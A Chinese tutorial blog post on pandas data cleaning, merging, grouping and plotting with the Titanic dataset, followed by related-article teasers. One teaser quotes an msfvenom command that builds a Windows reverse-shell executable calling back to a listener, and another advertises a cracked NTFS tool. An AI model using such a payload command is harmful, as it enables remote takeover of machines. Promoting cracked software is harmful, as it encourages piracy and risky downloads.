一起学数据分析_2

news2024/11/25 22:57:02

 写在前面:代码运行环境为jupyter,如果结果显示不出来的地方就加一个print()函数。

一、数据基本处理

缺失值处理:

import numpy as np
import pandas as pd

#加载数据train.csv
df = pd.read_csv('train_chinese.csv')
df.head()

# 查看数据基本信息(非空值数量、数据类型)
df.info()

# 查看每个数据是否为空值,每个特征中空值总数
df.isnull().sum()

# 年龄列填充缺失值为0,到一个副本
df.fillna({'年龄':0}).head(7)
df.loc[df['客舱'].isnull(), '客舱'] = 0
# 同理可以填充平均值,众数等……

df.isnull().sum()


# 整张表处理(缺失值处填0)
df = df.fillna(0)
df.head()

重复值(删除):

数据表里重复值其所有信息一样:(0行与1行重复)

nameagehobby
0xx20gg
1nn19f
2xx20gg
# 定义一个数据表
a = pd.DataFrame({'name':['xx','dd','ff','gg','xx'],'habits':[11,22,33,44,11]})
print(a)

# 查看是否有重复行(所有信息重复)
print(a.duplicated())

# 处理(删除陈重复行):
a.drop_duplicates()

 离散化处理(分箱):

# 将连续变量Age划分为[0,5) [5,15) [15,30) [30,50) [50,80)五个年龄段,并分别用类别变量12345表示
# 左闭右开:right=False
df['age_bins'] = pd.cut(df['年龄'], [0,15,25,35,45,80], right=False, labels = list('abcde'))

df.tail()

# 按百分比分段
df['age_binsPercent'] = pd.qcut(df['年龄'],[.1,.2,.3,.5,.7,.9],duplicates="drop",labels=list('12345'))
df.head()

 变换文本变量:

例如性别包括男和女,用0表示男,1表示女。

# 查看有哪些类型
df['性别'].unique()
df['客舱'].unique()
df['登船港口'].unique()


# 将男/女替换为0/1
# inplace默认为False,返回一个副本

df['性别'].replace({"male",'female'},{0,1}, inplace = True)
df.head()


# 按顺序替换为数字
from sklearn.preprocessing import LabelEncoder

df['客舱'] = LabelEncoder().fit_transform(df['客舱'])
df['登船港口'] = LabelEncoder().fit_transform(df['登船港口'])
df.head()

 

 one-hot编码:

# one-hot编码
for column in ['登船港口','性别']:
    # 函数
    x = pd.get_dummies(df[column],prefix=column)
    # 拼接在一起
    df = pd.concat([df,x],axis=1)
df.head()

 

 提取字符串里的某一部分:

这里用到正则表达式。里面的称呼特点是都有后缀(.)

df['title'] = df.姓名.str.extract('([A-Za-z]+)\.')
df

 

二、数据的横向与纵向合并

这里进行数据重构操作

横向合并:

hobby1hobby2
0gg11
1ff22
2gg33
nameage
0xx20
1nn19
2xx20
nameagehobby1hobby2
0xx20gg11
1nn19ff22
2xx20gg33
# 导入基本库
import numpy as np
import pandas as pd

# 载入data中的文件
left_up = pd.read_csv('data/train-left-up.csv')
left_down = pd.read_csv('data/train-left-down.csv')

right_up = pd.read_csv('data/train-right-up.csv')
right_down = pd.read_csv('data/train-right-down.csv')

#将两个数据横向合并
result_up = pd.concat([left_up, right_up], axis = 1)
result_down = pd.concat([left_down , right_down], axis = 1)

result_up.head()

# 横向合并
up = left_up.join(right_up)
down = left_down.join(right_down)

up.head()

纵向合并:

nameage
0xx20
nameage
1nn19
2xx20
nameage
0xx20
1nn19
2xx20
# 两个数据up和down
up = left_up.join(right_up)
down = left_down.join(right_down)

# 纵向合并
result1 = up.append(down)
result1.head()
# 横向连接
up2 = pd.merge(left_up,right_up, left_index=True, right_index=True)
up2.head()

down2 = pd.merge(left_down,right_down, left_index=True, right_index=True)
down2.head()

# 纵向合并
result2 = up.append(down)
result2.head()
result2.shape

result2.to_csv('result.csv')

 将DataFrame数据变为Series类型的数据:

data = pd.read_csv('result.csv')
data.head()

# 转换
data.stack()

三、数据重构

groupby函数:

# 载入data文件中的:result.csv
text = pd.read_csv('result.csv')
text.head()

# 查看性别中的0是什么:(所以女性的数据)
list(text.groupby('Sex'))[0]

# 找到不同性别的数据
group = text.groupby('Sex')
# 计算这些特征数据的统计描述
print(group.describe())

# 只想得到关于年龄的信息(加一个Age索引)
print(text.groupby('Sex')['Age'].describe())
# 只得到平均值
print(text.groupby('Sex')['Age'].mean())

# 计算泰坦尼克号男性与女性的平均票价
# 修改索引为票价
print(text.groupby('Sex')['Fare'].mean())
# method__2
df  = text['Fare'].groupby(text['Sex'])
means = df.mean()
means

# 统计泰坦尼克号中男女的存活人数
survived_sex = text.groupby('Sex')['Survived'].sum()

survived_sex = text['Survived'].groupby(text['Sex']).sum()
survived_sex.head()

# 计算客舱不同等级的存活人数
survived_pclass = text.groupby('Pclass')['Survived'].sum()

survived_pclass = text['Survived'].groupby(text['Pclass'])
survived_pclass.sum()

 agg函数:

# agg里面可以使用多个方法
survived_pclass = text.groupby('Pclass')['Survived'].sum()
survived_pclass = text.groupby('Pclass').agg({'Survived':'sum'})

# 性别中对费用求平均,对存活求和
text.groupby('Sex').agg({'Fare': 'mean', 'Survived': 'count'})

# 重命名方便阅读,显示为‘mean_fare’
text.groupby('Sex').agg({'Fare': 'mean', 'Pclass': 'count'}).rename(columns=
                            {'Fare': 'mean_fare', 'Pclass': 'count_pclass'})
# 统计在不同等级的票中的不同年龄的船票花费的平均值
# 再加一个Pclass
text.groupby(['Pclass','Age'])['Fare'].mean().head()
# 将任务二和任务三的数据合并,并保存到sex_fare_survived.csv
# 使用index查看列索引,相同则可以合并
# 我在上面没有赋值,使用这个元素不存在
means.index
survived_sex.index
# 确定类型,使用merge不能是series
type(means)

# 变为dataframe
means.to_frame()

# 保存起来使用merge
result = pd.merge(means,survived_sex,on='Sex')
result

result.to_csv('sex_fare_survived.csv')
# 得出不同年龄的总的存活人数,然后找出存活人数最多的年龄段,最后计算存活人数最高的存活率(存活人数/总人数

#不同年龄的存活人数
text.groupby(['Age'])['Survived'].sum()

survived_age = text['Survived'].groupby(text['Age']).sum()
survived_age.head()

#找出最大值的年龄段
survived_age[survived_age.values==survived_age.max()]

#首先计算总人数
_sum = text['Survived'].sum()

print("sum of person:"+str(_sum))

precetn =survived_age.max()/_sum

print("最大存活率:"+str(precetn))

 四、数据可视化

import numpy as np
import pandas as pd
# 画图用
import matplotlib.pyplot as plt

text = pd.read_csv(r'result.csv')
text.head()

# 男女中生存人数分布情况
sex = text.groupby('Sex')['Survived'].sum()
# 柱状图bar
sex.plot.bar()
# 标题
plt.title('survived_count')
plt.show()

 

# 男女中生存人与死亡人数的比例图


# unstack:旋转数据,转置
s = text.groupby(['Sex','Survived'])['Survived'].count().unstack()
# 绘制男女死亡人数柱状图
died = s[0]
died.plot.bar()
plt.title('died')

 

s.plot.bar()

# 提示:计算男女中死亡人数 1表示生存,0表示死亡
# 柱子叠起来,参数:stacked='True'
text.groupby(['Sex','Survived'])['Survived'].count().unstack().plot(kind='bar',stacked='True')
plt.title('survived_count')
plt.ylabel('count')

# 查看不同票价的生存死亡人数
c = text.groupby(['Fare','Survived'])['Survived'].count().unstack()
c
c.plot()

# 1表示生存,0表示死亡
# 不同仓位等级的人生存和死亡人员的分布情况
pclass_sur = text.groupby(['Pclass'])['Survived'].value_counts()
pclass_sur

import seaborn as sns
sns.countplot(x="Pclass", hue="Survived", data=text)

# 不同年龄的人生存与死亡人数分布情况
# 0表示死亡人数,1生存。不同年龄的死亡人数
# 画频率直方图。分区间:bins; alpha :颜色透明度
#  density密度
text.Age[text.Survived == 0].hist(bins=5, alpha = .5, density=1)
text.Age[text.Survived == 1].hist(bins=5,alpha = .5, density=1)

# 密度曲线
text.Age[text.Survived == 0].plot.density()
text.Age[text.Survived == 1].plot.density()

# 图例
plt.legend((0,1))
plt.xlabel('age')
# plt.ylabel('count')
plt.ylabel('density')

 

# 参考代码
facet = sns.FacetGrid(text, hue="Survived",aspect=3)
facet.map(sns.kdeplot,'Age',shade= True)
facet.set(xlim=(0, text['Age'].max()))
facet.add_legend()

# 不同仓位等级的人年龄分布情况
# 查看种类
unique_placss = text.Pclass.unique()

print(unique_placss)

for i in unique_placss:
    # 密度曲线
    text.Age[text.Pclass == i].plot.density()
# 图例
plt.legend(unique_placss)
plt.xlabel('age')
# plt.ylabel('count')
plt.ylabel('density')

 

import  seaborn as sns
for i in unique_placss:
    # 密度曲线
    sns.kdeplot(text.Age[text.Pclass == i])


# 不同仓位等级的人年龄分布情况
text.Age[text.Pclass == 1].plot(kind='kde')
text.Age[text.Pclass == 2].plot(kind='kde')
text.Age[text.Pclass == 3].plot(kind='kde')
plt.xlabel("age")
plt.legend((1,2,3),loc="best")

本文来自互联网用户投稿,该文观点仅代表作者本人,不代表本站立场。本站仅提供信息存储空间服务,不拥有所有权,不承担相关法律责任。如若转载,请注明出处:http://www.coloradmin.cn/o/1522847.html

如若内容造成侵权/违法违规/事实不符,请联系多彩编程网进行投诉反馈,一经查实,立即删除!

相关文章

数据结构的概念大合集01(含数据结构的基本定义,算法及其描述)

概念大合集01 1、数据结构基础的定义2、数据结构2.1 数据元素之间关系的集合2.2数据结构的三要素2.2.1数据的逻辑结构2.2.2数据的存储(物理)结构2.2.3数据的运算 3、数据类型4、抽象数据类型类型(ADT)5、算法及其描述5.1算法的5个…

NCV4275CDT50RKG稳压器芯片中文资料规格书PDF数据手册引脚图图片价格功能

产品概述: NCV4275C 是一款低漏稳压器,可用于严酷汽车环境。它包括了较宽的运行温度范围和输出电压范围。输出调节为 5.0 V 或 3.3 V,额定输出电流为 450 mA。它还提供过电流保护、超温保护和可编程微处理器重置等多种功能。NCV4275C 采用 D…

观察者模式的理解和引用

1.前言 在之前的H5小游戏中,对于长连接发送的不同类型数据包的处理,是通过switch语句进行处理的,于是在自己的代码中出现了大量的case分支,不方便进行维护和后期的版本迭代。于是在老师的指导下,开始寻求使用观察者模…

互动投影游戏如何为科普教育馆带来更加生动有趣的科普体验?

近年科普教育馆在数字多媒体技术的支持下,让更多的家长和孩子注意到这一展示场景,尤其是对孩子来说,这里不仅是一个扩展知识的场景,更是一个发掘自我、探索未知世界的地方,而在这个过程中,多媒体互动技术的…

【MySQL高级篇】08-事务篇

第13章:事务基础知识 #09-事务的基础知识#1.事务的完成过程 #步骤1:开启事务 #步骤2:一系列的DML操作 #.... #步骤3:事务结束的状态:提交的状态(COMMIT) 、 中止的状态(ROLLBACK)#2. 显式事务#2.1 如何开启? 使用关键…

蓝桥:保险箱(Python,动态规划)

问题描述: 小蓝有一个保险箱,保险箱上共有 n 位数字。小蓝可以任意调整保险箱上的每个数字,每一次操作可以将其中一位增加 1 或减少 1。当某位原本为 9 或 0 时可能会向前(左边)进位/退位,当最高位&#x…

如果要做优化,CSS提高性能的方法有哪些?

文章目录 一、前言二、实现方式内联首屏关键CSS异步加载CSS资源压缩合理使用选择器减少使用昂贵的属性不要使用import其他 三、总结参考文献 一、前言 每一个网页都离不开css,但是很多人又认为,css主要是用来完成页面布局的,像一些细节或者优…

加密算法详解

加密学的发展和应用 计算机加密学的发展历程可以大致分为以下几个阶段: 古典密码学时期(古代至20世纪初): 在古代,人们就已经开始使用简单的加密技术来保护通信内容,例如凯撒密码、维吉尼亚密码等。到了近…

渗透测试框架权限维持技术——Persistence模块

测试环境: kali win7 测试步骤: 1.利用MSF编写远控程序 msfvenom -p windows/meterpreter/reverse_tcp lhost10.0.0.163 lport55555 -f exe -o 5555.exe-p 漏洞利用payload lhost 监听地址(kali地址) lport 监听端口&#xf…

MQ 延迟队列

MQ 延迟队列 1. 前言 延迟队列是我们日常开发过程中,经常接触并需要使用到的一种技术方案。前些时间在开发业务需求时,我也遇到了一个需要使用到延迟消息队列的需求场景,因此我也在网上调研了一系列不同的延迟队列的实现方案,在…

计算机网络----计算机网络的基础

目录 一.计算机网络的相关概念 二.计算机网络的功能 三.计算机网络的发展 四.计算机网络的组成 五.计算机网络的分类 六.计算机的性能指标 1.速率 2.带宽 3.吞吐量 4.时延 5.时延带宽积 6.往返时延RTT 7.利用率 七.计算机的分层结构 八.ISO/OSI参考模型 九.OSI…

Word粘贴时出现“运行时错误53,文件未找到:MathPage.WLL“的解决方案

在安装完MathType后,打开word复制粘贴时报错“运行时错误53,文件未找到:MathPage.WLL” 首先确定自己电脑的位数(这里默认32位) 右击MathType桌面图标,点击“打开文件所在位置”, 然后分别找到MathPage.W…

RabbitMQ高级-高级特性

1.消息可靠性传递 在使用RabbitMQ的时候,作为消息发送方希望杜绝任何消息丢失或者投递失败场景。RabbitMQ为我们提供了两种方式来控制消息的投递可靠性模式 1.confirm 确认模式 确认模式是由exchange决定的 2.return 退回模式 回退模式是由routing…

Webapi(.net6) 批量服务注册

如果不考虑第三方库,如Autofac这种进行服务注入,通过本身的.Core Weabpi实现的,总结了两种实现方法, 1.一种是参考abp框架里面的形式; 1.1 新建个生命周期的文件夹: 三个接口分别为: public interface IScopedDependency { }pu…

机器学习周报第33周

目录 摘要Abstract一、文献阅读1.1 论文标题1.2 论文摘要1.3 论文背景1.4 过去研究1.5 论文介绍1.5.1 论文模型1.5.2 时空交互学习模块(Spatiotemporal Interactive Learning Module)1.5.3 动态图推理模块(Dynamic Graph Inference Module&am…

Uniapp有奖猜歌游戏系统源码,附带流量主

有奖猜歌游戏是一款基于uni-app、uniCloud、uniAD 开发的小游戏,通过猜歌曲、观看广告赚取现金奖励。 游戏基本特征 玩家可以通过猜歌、做任务等方式直接获取现金奖励 玩家可以通过猜歌、拆红包、做任务等方式获取金币奖励,当金币累积到一定数量可以兑…

C++之类和对象(3)

目录 1. 再谈构造函数 1.1 构造函数体赋值 1.2 初始化列表 1.3 explicit 2. static成员 2.1 概念 3. 友元 3.1 友元函数 3.2 友元类 4. 内部类 5. 匿名对象 6. 拷贝对象时编译器做出的优化 1. 再谈构造函数 1.1 构造函数体赋值 class Date { public:Date(int year2024…

实现界面跳转及注册界面编写(AndroidStudio)

目录 一、代码 二、最后效果 一、代码 1.先新建一个activity文件 2.注册界面的代码如下&#xff1a; <?xml version"1.0" encoding"utf-8"?> <LinearLayout xmlns:android"http://schemas.android.com/apk/res/android"android:la…

(附数据集)基于lora参数微调Qwen1.8chat模型的实战教程

基于lora微调Qwen1.8chat的实战教程 日期&#xff1a;2024-3-16作者&#xff1a;小知运行环境&#xff1a;jupyterLab描述&#xff1a;基于lora参数微调Qwen1.8chat模型。 样例数据集 - qwen_chat.json&#xff08;小份数据&#xff09; - chat.json&#xff08;中份数据&…

Tuxera NTFS 2023安装使用教程 Tuxera NTFS破解版 Tuxera NTFS for Mac优惠

对于必须在Windows电脑和Mac电脑之间来回切换的Mac朋友来说&#xff0c;跨平台不兼容一直是一个巨大的障碍&#xff0c;尤其是当我们需要使用NTFS格式的硬盘在Windows和macOS之间共享文件时。因为Mac默认不支持写入NTFS磁盘。 为了解决这一问题&#xff0c;很多朋友会选择很便捷…